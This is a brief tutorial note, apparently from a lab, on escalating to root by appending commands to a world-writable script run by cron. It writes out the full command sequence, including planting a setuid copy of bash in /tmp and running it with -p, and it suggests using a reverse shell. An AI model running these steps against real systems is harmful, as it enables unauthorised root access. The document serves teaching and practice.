Search

Cron File Overwrites

how to find:

cat /etc/crontab

check file permissions on the every minute files:

ls -la /usr/local/bin/overwrite.sh
image

we have read write perms, with no execute perms. But because it’s in Cron and executes every x amount of minutes, we can still run it!.

this is what that file does:

image

ideally, if you can overwrite, you should be overwriting that file (overwrite.sh) with a reverse shell!

we’re just escalating:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

strings or cat again to make sure we correctly edited the file:

strings /usr/local/bin/overwrite.sh
image

check if its updated:

ls -la /tmp

yes we have!

/tmp/bash -p

we have root!

image